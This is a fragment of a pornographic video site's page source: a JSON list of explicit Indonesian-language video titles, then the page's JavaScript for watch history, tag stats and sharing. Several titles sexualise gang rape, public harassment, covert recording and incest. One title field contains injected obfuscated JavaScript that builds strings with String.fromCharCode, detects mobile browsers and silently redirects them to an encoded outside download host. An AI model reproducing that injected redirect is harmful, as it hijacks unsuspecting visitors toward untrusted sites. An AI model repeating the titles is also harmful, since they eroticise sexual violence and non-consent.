Bayi Gila Kita (Pertemuan Seksual Spesial Waktu Terbatas) Ruang Rahasia di Mana Cairan Cinta, Suhu Tubuh, dan Air Liur Saling Menginginkan Lupakan Pertama Kali dan DASS-487-C Pertama","lastmod":"2026-07-11","duration":"02:12:06","url":"/play/19166856.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGI5MmM4Mjk1MTMxNWNiNmM5YTcyMmI2NWRjY2I4MzYuanBn.cache","vod_id":18966826,"title":"Gangster bertopeng itu memberi makan dua wanita menikah kelas atas, yang keduanya cabul dan menggoda, melayaninya dengan seks oral, menghisap payudaranya, bermain-main dengan vaginanya, dan diperkosa beramai-ramai serta disetubuhi. Erangan dan desahan mereka yang terus-menerus sangat merangsang.","lastmod":"2025-12-14","duration":"01:03:46","url":"/play/18966826.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjNkN2Y5ODA1YzFiNDgwODM3MDZjNTUwNGIxZDQ1NGQuanBn.cache","vod_id":18923769,"title":"FC2PPV-1194578 [Rekaman Pribadi] Dua Istri Biasa Saling Memakan Satu Sama Lain Secara Bersamaan","lastmod":"2025-12-14","duration":"01:07:23","url":"/play/18923769.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MTQvN2NhYWQ4ZWNkYjk0ZmNhYzAxMmExMTIyNzVkMWFjZDMuanBn.cache","vod_id":19052474,"title":"Seorang penata kecantikan yang sudah menikah dan ingin menjadi mahakuasa dan agresif dalam bercinta - Tamashiro Natsumi (VENZ037)","lastmod":"2025-09-13","duration":"01:54:17","url":"/play/19052474.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDYyYjJlYWMwMmMwNjQ2YWJhZDMzMWQ3OGE1YWI4NTYuanBn.cache","vod_id":18960626,"title":"[Tanpa Sensor] SSIS-519 Kenikmatan Tak Terlupakan dari Pengalaman Pertamanya Dilecehkan, Nasib Seorang Mahasiswi yang Kecanduan Pelecehan di Kereta Api (Ogura Nanami)","lastmod":"2025-03-22","duration":"02:26:47","url":"/play/18960626.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWRkZTMyNmYyMjBiZmI0YmNiZWMzNjM4ZmU0NmZhOTQuanBn.cache","vod_id":18945639,"title":"[Subtitle Bahasa Mandarin] KRI-092 Syuting NTR di depan suami wanita yang sudah menikah.","lastmod":"2025-12-14","duration":"02:14:39","url":"/play/18945639.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWNiM2M2M2YxZjZiYTM0YjJiNTJiYWViYWNiMjk2YjQuanBn.cache","vod_id":18965964,"title":"200GANA-2406 Sangat lembut, pertama kali menembak. 1572 \"Apakah Anda ingin mencoba mengambil uang tunai?\" Perawat itu langsung berhenti begitu mendengar suara ini!","lastmod":"2025-12-14","duration":"01:13:43","url":"/play/18965964.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmM5MGMyY2E5YzI3OTNhZTM1M2ZkMThjZDAxYWVkNmIuanBn.cache","vod_id":19017003,"title":"MISM144 Ini adalah karya pengguna Emuko K. Mei-chan, yang menggambarkan seorang gadis tomboi mantan berandal dengan bokong seksi dan berisi, mengenakan celana jeans ketat, menjalani pelatihan penis ekstensif di pemandian air panas. Mei, seorang pengemudi truk jarak jauh berusia 27 tahun.","lastmod":"2025-03-24","duration":"02:46:09","url":"/play/19017003.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDNmMDI0ZjU5YTNlNWQ5N2IxMjBlYThiMTNkMTI0YTguanBn.cache","vod_id":18980169,"title":"FC2PPV 3610539 Pemotretan pertama, wajah asli terungkap!! Penawaran terbatas: 980 poin, berakhir 31 Juli!! Nana-chan adalah gadis super imut yang kuliah di universitas khusus perempuan dan bekerja paruh waktu di pusat penitipan anak!","lastmod":"2025-12-14","duration":"01:26:24","url":"/play/18980169.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYWUwODBhZTZhN2M0NTIwOTY1YzI0ZjViZGExOTA5NmMuanBn.cache","vod_id":19012589,"title":"SIRO4051 [Pemotretan Pertama] [Wajah cantik sang model...] [Ini mengerikan!!] Model tinggi, 174cm. Gadis polos dengan kulit putih, memiliki penis yang jauh lebih besar dari milik pacarnya... Aplikasi AV online → Pengalaman pemotretan AV 1197 (inses).","lastmod":"2025-03-24","duration":"01:04:34","url":"/play/19012589.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDI1ZWY3MWFmZTEyYjZhNTU5NjBiODliMDYxNTI3MmYuanBn.cache","vod_id":18990033,"title":"DVDMS-513 Mahasiswa dan mahasiswi biasa menonton film porno di bawah satu atap untuk pertama kalinya; seorang mahasiswi dan seorang mahasiswa harus berejakulasi sekali setiap jam.","lastmod":"2025-03-23","duration":"04:00:14","url":"/play/18990033.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYTM0ZjhjZDkxM2M0YTA5OWE2NjJjNGFhZGIyNjk1MTcuanBn.cache","vod_id":19141478,"title":"[Berdada besar dan montok] Wanita menikah bertubuh berisi dan berperilaku tidak senonoh dengan penis besar, melakukan tindakan perzinahan yang mengerikan. HMDNV-859","lastmod":"2026-02-04","duration":"01:24:39","url":"/play/19141478.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWQzMTJkNjAyN2ExMjlhZTRhN2E3MjYxMjhmZGVjODkuanBn.cache","vod_id":19025793,"title":"VOSS163 memanggil seorang wanita yang sudah menikah untuk layanan erotis, dan ternyata itu adalah mantan gurunya yang cantik. Karena reputasi burukku selama masa studi, dia mengincarku, dan raporku selalu 1.","lastmod":"2025-03-24","duration":"01:45:14","url":"/play/19025793.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMGMyNzMxODUxZWYzZDY3NWQ1NmY0MjU3ZWVlNjMzNmUuanBn.cache","vod_id":18965252,"title":"200GANA-2235 Seorang penakluk wanita berpengalaman membawa seorang gadis pulang dan diam-diam merekamnya saat berhubungan seks dengannya. 146 Gadis cantik yang ditaklukkannya dan dibawa pulang kini terlihat seperti pacarnya.","lastmod":"2025-12-14","duration":"01:16:36","url":"/play/18965252.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MjYvNjA1Mjk0N2VkOWRmZmViNjZmNTdjMzNlMGQ5NTlmMGQuanBn.cache","vod_id":19048625,"title":"Jelly Thailand Rent-a-Wife Real Filming: Layanan Istri Sewaan Unik di Thailand oleh Lin.","lastmod":"2025-08-26","duration":"35:21","url":"/play/19048625.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZGMzOWYzYWIyNzUzYmJiMzhhMDMyOTRjNGI4ODRjZWMuanBn.cache","vod_id":19161743,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Sebuah DVD diam-diam merekam seorang pria tampan membawa seorang wanita yang sudah menikah ke kamarnya dan berhubungan seks dengannya. 015 ~ Wanita Dewasa JEPANG","lastmod":"2026-07-11","duration":"02:25:09","url":"/play/19161743.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZTg5YTBmYzIwZDMxMTE4M2M2MmEyZjE0MThjODczZTIuanBn.cache","vod_id":19146552,"title":"Berkulit putih, montok, dan bertubuh sangat menggoda, mengalami orgasme pertamanya dengan daging yang kencang dan elastis. Nikmati perkembangan sensual dari pengalaman pertamanya dalam 3 pengambilan gambar live-action spesial. Sakuraba Momona MIDA-314","lastmod":"2026-03-05","duration":"02:30:56","url":"/play/19146552.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYWYwNjMyYzU4ODBkNjQ3ZGI0NjE2NzRlNDkxM2JmN2YuanBn.cache","vod_id":18961935,"title":"MEYD-023 Istri cantik Mio Kayama diperkosa beramai-ramai oleh kerabat suaminya","lastmod":"2025-03-22","duration":"01:58:17","url":"/play/18961935.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTk5ZWMxZWVmN2M2MTAzN2M5ZTEyMWRkOGJkYzc5YzIuanBn.cache","vod_id":19003723,"title":"SSNI-390 Penyiksa Perpustakaan ~Istri Muda Dilecehkan di Depan Umum~ Aoi Toshika","lastmod":"2025-03-23","duration":"01:58:25","url":"/play/19003723.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTc2MzdiNmIzYTlkN2VmZTRkZTA2MTZmOGJkODZjYzguanBn.cache","vod_id":18964292,"title":"200GANA-2419 Pemotretan softcore serius, pertama kalinya saya syuting. 1578 Saya menemukan seorang pria di Shinjuku; dia datang jauh-jauh dari Kagoshima dan bersama kekasihnya yang tinggal jauh.","lastmod":"2025-03-22","duration":"01:17:19","url":"/play/18964292.html"}]},
videoTitle: 'JRZE-163-C Pertama Kali Menembak Wanita yang Sudah Menikah Berkas',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}